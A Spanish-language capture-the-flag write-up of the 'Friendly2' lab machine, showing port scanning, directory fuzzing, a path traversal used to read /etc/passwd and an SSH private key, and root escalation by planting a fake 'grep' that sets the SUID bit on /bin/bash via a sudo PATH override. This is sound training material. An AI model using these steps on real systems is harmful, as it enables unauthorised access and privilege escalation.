Friendly2
Vamos a realizar la nueva máquina de Rijaba1 de la serie Friendly pensada para todos los que comienzan con esto, la cual ya sube (bastante) la dificultad y nos encontramos con un directory path traversal y un path hijacking.
Reconocimiento de Puertos
Como es habitual, empezaremos averiguando la IP de la máquina víctima y realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:
❯ sudo nmapauto
[*] La IP de la máquina víctima es 192.168.1.22
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 14:39 CEST
Initiating ARP Ping Scan at 14:39
Scanning 192.168.1.22 [1 port]
Completed ARP Ping Scan at 14:39, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:39
Scanning 192.168.1.22 [65535 ports]
Discovered open port 80/tcp on 192.168.1.22
Discovered open port 22/tcp on 192.168.1.22
Completed SYN Stealth Scan at 14:39, 1.16s elapsed (65535 total ports)
Nmap scan report for 192.168.1.22
Host is up, received arp-response (0.000062s latency).
Scanned at 2023-05-12 14:39:07 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: 08:00:27:0C:8F:A4 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
[*] Escaneo avanzado de servicios
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 14:39 CEST
Nmap scan report for 192.168.1.22
Host is up (0.00016s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 74fdf1a7475bad8e8a3102fe44289fd2 (RSA)
| 256 16f0de5109fffc08a29a69a0ad42a048 (ECDSA)
|_ 256 650eed44e23ef0e7600c759363952056 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Servicio de Mantenimiento de Ordenadores
MAC Address: 08:00:27:0C:8F:A4 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.82 seconds
[*] Escaneo completado, se ha generado el fichero InfoPuertos
Nos toca examinar el puerto 80:
Como no vemos nada interesante y en el código tampoco, vamos a realizar fuzzing.
Fuzzing
Comprobemos si encontramos algún recurso:
❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u 192.168.1.22
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.22
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.5
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
2023/05/12 14:41:02 Starting gobuster in directory enumeration mode
===============================================================
/tools (Status: 301) [Size: 312] [--> http://192.168.1.22/tools/]
/assets (Status: 301) [Size: 313] [--> http://192.168.1.22/assets/]
/index.html (Status: 200) [Size: 2698]
Progress: 876898 / 882244 (99.39%)
===============================================================
2023/05/12 14:42:20 Finished
===============================================================
Vemos 2 recursos, observemos qué muestran:
❯ curl http://192.168.1.22/tools/
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Sistema de herramientas</title>
<style>
h1{text-align: center;}
</style>
</head>
<body>
<h1 text-align="center"> <img src="/assets/sirena.gif"> INFORMACIÓN PRIVADA <img src="/assets/sirena.gif"> </h1>
<div>
<p> Toda la información de esta página está catalogada con un nivel de confidencialidad 4, esta información no deberá ser envidada ni compartida a ningún agente externo a la empresa.
</div>
<div>
<h2> To do: </h2>
<ul>
<li> Añadir imágenes a la web principal. </li>
<li> Añadir tema oscuro </li>
<li> Traducir la página al inglés / translate the page into English. 😉</li>
<!-- Redimensionar la imagen en check_if_exist.php?doc=keyboard.html -->
</ul>
</div>
</body>
</html>
Aquí parece que nos da una pista con ese comentario. Parece un fichero PHP mediante el cual podemos cargar otros recursos web (y los que no son web…), por lo que vamos a intentar cargar el /etc/passwd de la máquina
Directory path traversal
Pues hemos podido explotar esta vulnerabilidad, mediante la cual hemos podido descubrir el usuario gh0st, así que ahora vamos a intentar realizar un log poisoning. Como sabemos que hay 2 puertos abiertos, Revisamos las rutas de logs de Apache y SSH:
- /var/log/apache2/access.log
- /var/log/auth.log (antes realizamos algún intento fallido para generar log)
Pero no, no hemos tenido suerte de esta vez. Por tanto, vamos a intentar revisar si existe una clave privada del usuario:
¡BINGO! Hemos podido localizarla, de forma que vamos a guardarla, en un fichero llamado “id_rsa” y ponerle el permiso 600 para intentar conectarnos vía SSH:
❯ nano id_rsa
❯ chmod 600 id_rsa
❯ ssh -i id_rsa gh0st@192.168.1.22
Enter passphrase for key 'id_rsa':
No tan rápido, tiene a mayores una contraseña que debemos descifrar, vamos a ello:
Fuerza bruta a id_rsa
Ahora sí, con la contraseña ya nos podemos conectar:
❯ ssh -i id_rsa gh0st@192.168.1.22
Enter passphrase for key 'id_rsa':
Linux friendly2 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gh0st@friendly2:~$ ls
user.txt
gh0st@friendly2:~$ export TERM=xterm
gh0st@friendly2:~$ cat user.txt
Con la flag de user en nuestro poder, vamos a por la flag de root.
Escalada de privilegios
Como siempre empezaremos viendo la lista de comandos que podemos ejecutar como otro usuario:
gh0st@friendly2:~$ sudo -l
Matching Defaults entries for gh0st on friendly2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User gh0st may run the following commands on friendly2:
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh
Esto es interesante, porque tenemos permiso para ejecutar el script /opt/security.sh como root sin contraseña, y además heredando las variables de entorno. Es decir, el script lo va a correr root, pero como su path es distinto al nuestro, los cambios que realicemos en el nuestro no le atañen.
Esto es debido a que en la mayoría de sistemas en el /etc/profile (el general) establece una distinción de path entre root y otros usuarios:
if [ "$(id -u)" -eq 0 ]; then
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
else
PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games"
fi
Sin embargo, con “setenv” nos permite que herede el path que mandamos en la orden.
De esta forma, veamos el script en cuestión:
gh0st@friendly2:~$ cat /opt/security.sh
#!/bin/bash
echo "Enter the string to encode:"
read string
# Validate that the string is no longer than 20 characters
if [[ ${#string} -gt 20 ]]; then
echo "The string cannot be longer than 20 characters."
exit 1
fi
# Validate that the string does not contain special characters
if echo "$string" | grep -q '[^[:alnum:] ]'; then
echo "The string cannot contain special characters."
exit 1
fi
sus1='A-Za-z'
sus2='N-ZA-Mn-za-m'
encoded_string=$(echo "$string" | tr $sus1 $sus2)
echo "Original string: $string"
echo "Encoded string: $encoded_string"
Vemos que todo apunta a un path hijacking, ya que el script llama a los comandos con ruta relativa.
Path hijacking
En la máquina Crazymed teníamos permisos de escritura en un directorio del PATH, por lo que creamos allí el fichero directamente.
En este caso, vamos a intentar secuestrar el PATH creando el comando “grep” y dándole permisos de ejecución:
gh0st@friendly2:~$ echo "chmod +s /bin/bash" > grep
gh0st@friendly2:~$ chmod +x grep
Ahora añadimos nuestro directorio de trabajo (donde hemos generado el fichero “grep”) al PATH y lanzaremos el script como root mediante sudo:
gh0st@friendly2:~$ sudo PATH=/home/gh0st:$PATH /opt/security.sh
Enter the string to encode:
hola
Original string: hola
Encoded string: ubyn
gh0st@friendly2:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Solo nos falta convertir la bash en privilegiada e ir a por la flag:
gh0st@friendly2:~$ bash -p
bash-5.1# cd /root
bash-5.1# ls
interfaces.sh root.txt
bash-5.1# cat root.txt
Not yet! Try to find root.txt.
Hint: ...
Pues tal y como nos tiene acostumbrados, falta buscar la flag, por lo que lo haremos con find:
bash-5.1# find / -name "..." 2>/dev/null
/...
bash-5.1# cd /...
bash-5.1# ls
ebbg.txt
bash-5.1# cat ebbg.txt
It's codified, look the cipher:
98199n723q0s44s6rs39r33685q8pnoq
Hint: numbers are not codified
¡Y para rematar la flag está codificadada!
Por suerte, si recordamos, teníamos un script que codificaba la cadena que le mandábamos, así que vamos a usarlo, aunque antes comentaremos las líneas donde hace la comprobación de los 20 caracteres para que nos permita introducirlo entero.
Tras realizar esta operación, la flag fue validada correctamente y damos por finalizada esta máquina.
Dar las gracias a Rijaba1 por la misma, y decir que la subida de dificultad ya ha sido notable en comparación con la “Friendly” original. Me ha gustado mucho y me ha parecido interesante, esperamos a por la siguiente entrega de la serie.